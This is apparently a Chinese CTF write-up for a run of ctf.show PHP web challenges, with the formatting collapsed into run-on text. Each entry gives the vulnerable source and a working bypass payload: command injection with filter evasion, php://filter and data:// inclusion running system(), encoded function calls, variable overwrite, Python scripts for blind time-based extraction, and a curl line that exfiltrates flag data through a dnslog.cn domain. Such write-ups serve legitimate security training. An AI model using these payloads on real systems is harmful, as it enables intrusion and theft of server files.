(post)CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])WEB-127<?php error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING']; //特殊字符检测 function waf($url){ if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ return true; }else{ return false; } } if(waf($url)){ die("嗯哼？"); }else{ extract($_GET); } if($ctf_show==='ilove36d'){ echo $flag; }过滤了标点符号,直接跳过payload:?ctf show=ilove36dWEB-128<?php error_reporting(0); include("flag.php"); highlight_file(__FILE__); $f1 = $_GET['f1']; $f2 = $_GET['f2']; if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼？"; } function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); }get_defined_vars — 返回由所有已定义变量所组成的数组payload:?f1=_&f2=get_defined_varsWEB-129<?php error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } }文件包含payload:?f=php://filter/convert.base64-encode/ctfshow/resource=flag.phpWEB-130<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); } echo $flag; }preg_match('/.+?ctfshow/is', $f)(前面不要有字就不会匹配到)payload:(post)f=ctfshowWEB-131<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); } echo $flag; }python 脚本(可能会断开连接,多试几次)payload: import requests url="http://80ae09d1-075b-4555-9a7e-84bdf9856fca.challenge.ctf.show/" data={ 'f':'very'*250000+'ctfshow' } r=requests.post(url,data=data) print(r.text)WEB-132<?php #error_reporting(0); include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }PHP运算符优先级payload:?username=admin&password=123456&code=adminWEB-133<?php error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }可以执行命令但没有回显,可以找方法外带payload:?F = `$F`; curl `cat flag.php|grep "flag"`.123456.dnslog.cnWEB-134<?php highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }GET一个POST提交36dpayload=?_POST[key1]=36d&_POST[key2]=36dWEB-135<?php error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的，那就来一个加强版吧"); } }写一个文件payload:?F=`$F `;nl flag.php>1.txt (注意$F后面有一个空格)WEB-136<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>下载tee写入的文件payload:?c=ls /|tee a ?c=cat /f149_15_h3r3|tee aWEB-137<?php error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } call_user_func($_POST['ctfshow']);双冒号可以不用实例化类就可以直接调用类中的方法payload:ctfshow=ctfshow::getFlagWEB-138<?php error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); } call_user_func($_POST['ctfshow']);call_user_func可以传递参数payload:ctfshow[0]=ctfshow&ctfshow[1]=getFlagWEB-139<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>python盲注payload: import requests import string str=string.digits+string.ascii_lowercase+"-" result="" key=0 for j in range(1,45): print(j) if key==1: break for n in str: payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n) url="http://3e82684c-f2f0-45df-a2b8-692712be21ba.challenge.ctf.show/?c="+payload try: requests.get(url,timeout=(2.5,2.5)) except: result=result+n print(result) breakWEB-140<?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST['f1']) && isset($_POST['f2'])){ $f1 = (String)$_POST['f1']; $f2 = (String)$_POST['f2']; if(preg_match('/^[a-z0-9]+$/', $f1)){ if(preg_match('/^[a-z0-9]+$/', $f2)){ $code = eval("return $f1($f2());"); if(intval($code) == 'ctfshow'){ echo file_get_contents("flag.php"); } } } }弱比较,0和字符串相等,那么只要intval($code)=0即可payload:f1=md5&f2=sleepWEB-141<?php error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }php运算vi php.php <?php function negateRce(){ fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');'; } negateRce(); :wq php php.php [+]your function: system [+]your command: tac f* [*] (~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5); payload:?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-WEB-142<?php error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1'])){ $v1 = (String)$_GET['v1']; if(is_numeric($v1)){ $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); sleep($d); echo file_get_contents("flag.php"); } }is_numeric($v1)payload:?v1=0WEB-143<?php highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }异或构造:payload:?v1=10&v2=0&v3=*("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%0e%0c%00%00"^"%60%60%20%2a")?>WEB-144<?php highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && check($v3)){ if(preg_match('/^\W+$/', $v2)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } } function check($str){ return strlen($str)===1?true:false; }和141一样payload:v1=1&v3=-&v2=(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)WEB-145<?php highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }使用141php脚本phpinfo()payload:?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):&v2=1
仅供学习参考，禁止用于其他非法途径WEB-29<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }过滤flagpayload:?c=echo%20`nl%20f*`;WEB-30<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }过滤flag,system,phppayload:?c=echo%20`nl%20f*`;WEB-31<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }过滤了空格payload:?c=echo%09`nl%09f*`;WEB-32<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }过滤了echopayload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.phpWEB-33<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }和上题一样payload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.phpWEB-34<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }和上题一样payload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.phpWEB-35<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }和上题一样payload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.phpWEB-36<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }过滤了[0-9]payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.phpWEB-37<?php //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }过滤flagpayload:?c=data:text/plain,<?php system('cat f*');?>WEB-38<?php //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }过滤了phppayload:?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/PgoWEB-39<?php //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }过滤flagpayload:?c=data:text/plain,<?php system('nl f*');?>WEB-40<?php if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }函数绕过payload:?c=show_source(next(array_reverse(scandir(getcwd()))));WEB-41<?php if(isset($_POST['c'])){ $c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); } }else{ highlight_file(__FILE__); } ?>payload:import requests import urllib import re from sys import * url = 'http://0939291c-0c2e-45ba-b965-127658c423ba.challenge.ctf.show/' def write_rce(): result = '' preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-' for i in range(256): for j in range(256): if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)): k = i | j if 32 <= k <= 126: a = chr(k) + ' %' + hex(i)[2:].zfill(2) + ' %' + hex(j)[2:].zfill(2) + '\n' result += a with open('rce.txt', 'w') as f: f.write(result) def get(context): a1 = '' b1 = '' for i in context: with open('rce.txt', 'r') as f: while True: line = f.readline() if line == '': break if line[0] == i: a1 += line[2:5] b1 += line[6:9] break return '("' + a1 + '"|"' + b1 + '")' def main(): write_rce() function = 'system' parm = 'cat flag.php' a1 = get(function) b1 = get(parm) data = {'c': urllib.parse.unquote(a1 + b1)} res = requests.post(url, data=data) print(res.text) main()WEB-42<?php if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }没过滤payload:?c=tac f*;WEB-43<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }过滤了cat和;payload:?c=tac fl*||WEB-44<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }过滤了cat,flag和;payload:?c=tac f*||WEB-45<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }过滤了空格payload:?c=tac${IFS}f*||WEB-46<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }过滤了数字,$和*payload:?c=tac%09fla?????||WEB-47<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }和上题一样payload:?c=tac%09fla?????||WEB-48<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }和上题一样payload:?c=tac%09fla?????||WEB-49<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }和上题一样payload:?c=tac%09fla?????||WEB-50<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }过滤了%09payload:?c=nl<fla''g.php||WEB-51<?php if(isset($_GET['c'])) { $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }和上题一样payload:?c=nl<fla''g.php||WEB-52<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }过滤了<>payload:?c=nl${IFS}/fla''g||WEB-53<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ echo($c); $d = system($c); echo " ".$d; }else{ echo 'no'; } }else{ highlight_file(__FILE__); }直接输出payload:?c=nl${IFS}fla''g.phpWEB-54<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }用问号代替payload:?c=/bin/c??${IFS}????????WEB-55<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }用问号代替payload:?c=/???/????64 ????????WEB-56<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }用问号代替payload:?c=/???/????64 ????????WEB-57<?php //flag in 36.php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ system("cat ".$c.".php"); } }else{ highlight_file(__FILE__); } c等于36payload:?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))WEB-58<?php // 你们在炫技吗？ if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }disable_functions系列payload:c=readfile('flag.php'); c=highlight_file('flag.php'); c=show_source('flag.php'); c=echo file_get_contents('flag.php'); c=var_dump(file('flag.php')); c=print_r(file('flag.php'));WEB-59<?php // 你们在炫技吗？ if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }disable_functions系列payload:c=print_r(file('flag.php'));WEB-60<?php // 你们在炫技吗？ if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }disable_functions系列payload:c=show_source('flag.php');WEB-61<?php // 你们在炫技吗？ if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }disable_functions系列payload:c=show_source('flag.php');WEB-62<?php // 你们在炫技吗？ if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }disable_functions系列payload:c=show_source('flag.php');WEB-63<?php // 你们在炫技吗？ if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }disable_functions系列payload:c=show_source('flag.php');WEB-64<?php // 你们在炫技吗？ if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }disable_functions系列payload:c=show_source('flag.php');WEB-65<?php // 你们在炫技吗？ if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }disable_functions系列payload:c=show_source('flag.php');WEB-66<?php // 你们在炫技吗？ if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }disable_functions系列payload:c=var_dump(scandir("/")); c=highlight_file('/flag.txt'); c=include('/flag.txt'); c=require_once('/flag.txt');WEB-67<?php // 你们在炫技吗？ if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }disable_functions系列payload:c=var_dump(scandir("/")); c=require_once('/flag.txt');WEB-68<?php // 你们在炫技吗？ if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }disable_functions系列payload:c=require_once('/flag.txt');WEB-69<?php // 你们在炫技吗？ if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }disable_functions系列payload:c=require_once('/flag.txt');WEB-70<?php // 你们在炫技吗？ if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }disable_functions系列payload:c=require_once('/flag.txt');WEB-71<?php error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗？ if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?>disable_functions系列payload:c=require_once('/flag.txt');exit();WEB-72<?php error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗？ if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?>